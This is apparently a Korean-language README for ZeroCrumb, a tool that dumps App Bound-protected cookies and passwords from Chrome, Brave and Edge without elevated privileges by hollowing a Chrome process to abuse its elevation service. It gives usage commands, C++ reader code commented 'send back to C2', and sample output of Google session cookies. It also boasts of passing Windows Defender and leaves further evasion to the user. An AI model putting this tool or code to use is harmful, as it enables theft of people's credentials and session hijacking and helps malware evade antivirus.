
권한 없이 앱 바인딩된 보호된 자격 증명 및 쿠키 덤프하기
권한 없이 App Bound 보호 자격 증명 및 쿠키 덤프
ZeroCrumb은 Transacted Hollowing을 사용하여 Chrome 인스턴스를 가장함으로써 Chrome Elevation Service를 우회하며, 이를 통해 IElevator COM 인터페이스를 사용하여 App Bound Key를 복호화할 수 있습니다.
그런 다음, 할로윈된 Chrome 인스턴스에서 실행되는 키 덤퍼가 Named Pipe를 통해 복호화된 키를 ZeroCrumb으로 다시 보냅니다.
이후 ZeroCrumb은 이전에 가져온 키로 지정된 브라우저의 쿠키/비밀번호를 복호화합니다.
ZeroCrumb에서 Named Pipe를 사용하면 Windows API를 사용할 수 있는 모든 프로그램이 ZeroCrumb Named Pipe에 연결하여 App Bound Key를 읽을 수 있습니다.
ZeroCrumb을 라이브러리로 사용하려면 키 덤퍼로 Chrome을 할로윙하는 함수를 내보내는 DLL을 컴파일해야 합니다. 또한 컴파일된 DLL의 .rsrc 섹션에 키 덤퍼 PE를 포함하고 나중에 애플리케이션 리소스 Windows API를 사용하여 가져와야 할 수도 있습니다.
키 덤퍼가 같은 디렉토리에 있는 한 원하는 디렉토리에서 실행할 수 있습니다.
ZeroCrumb.exe <BROWSER_TYPE> <DUMP_TYPE>
Browser Types:
Chrome -> 0
Brave -> 1
Edge -> 2
Dump Types:
Cookies
Passwords
ZeroCrumb은 사용하기 쉬운 CookieReader 및 PasswordReader 클래스를 제공합니다:
auto reader = new CookieReader(cookiesPath.c_str(), key);
reader->initSqliteDb();
reader->prepare(queries::cookies);
reader->populateCookies();
for (auto& cookie : reader->cookies) {
string name = cookie->name;
string site = cookie->site;
string path = cookie->path;
string cookieValue = cookie->cookie;
// dump to file, send back to C2, etc...
}
// keep in mind passwords aren't encrypted using the app bound key (yet)
auto reader = new PasswordReader(passwordsPath.c_str(), key);
reader->initSqliteDb();
reader->prepare(queries::passwords);
reader->populatePasswords();
for (auto& password : reader->passwords) {
auto name = password->name;
auto site = password->site;
auto passwordValue = password->password;
// dump to file, send back to C2, etc...
}
ZeroCrumb에는 두 가지 Vcpkg 종속성이 필요합니다:
sqlite3
libsodium
$ ZeroCrumb.exe 0 Cookies
[*] Reading From Pipe...
App Bound Key: 980f8ea8af3299d966a26242.....
============
Name: SIDCC
Site: .google.com
Path: /
Cookie: AKEyXzXxD19T0KLMkrMC-eUXkrnEFi92OXq6rj1vydvmdL73olBVQGRQ4cG_hK5sqPhO1rLd1CM
============
Name: __Secure-1PSIDCC
Site: .google.com
Path: /
Cookie: AKEyXzXXC8_MNDlVbAaw512aXu-QJkl0uKNW66rhjeufotzoJhT3OPN5TuCQnfKS8l57_WGfDw
============
Name: __Secure-3PSIDCC
Site: .google.com
Path: /
Cookie: AKEyXzVVySM4FWl9itegCN2evcSmBvGc7_iXHqkKZ6VYPKmR--_LsHx1Aflar6SU4nyJiDaFq028
============
Name: udid
Site: .veepn.com
Path: /
Cookie: 0dd5b8bb-8c5b-47f3-87f9-1db8fa7d885f
============
쿠키 및 비밀번호 외에도 모든 유형의 자격 증명에서 작동하도록 ZeroCrumb을 수정할 수 있습니다.
이것은 결코 이 우회의 가장 은밀한 구현이 아니며, 특정 문자열 확인, API 후킹 등으로 탐지될 수 있습니다.
테스트 당시에는 Windows Defender를 통과했지만 다른 AV는 확인하지 않았습니다.
향후 이 우회 구현이 시그니처화될 경우, 우회를 더 은밀하게 만드는 것은 사용자의 몫으로 남겨두겠습니다.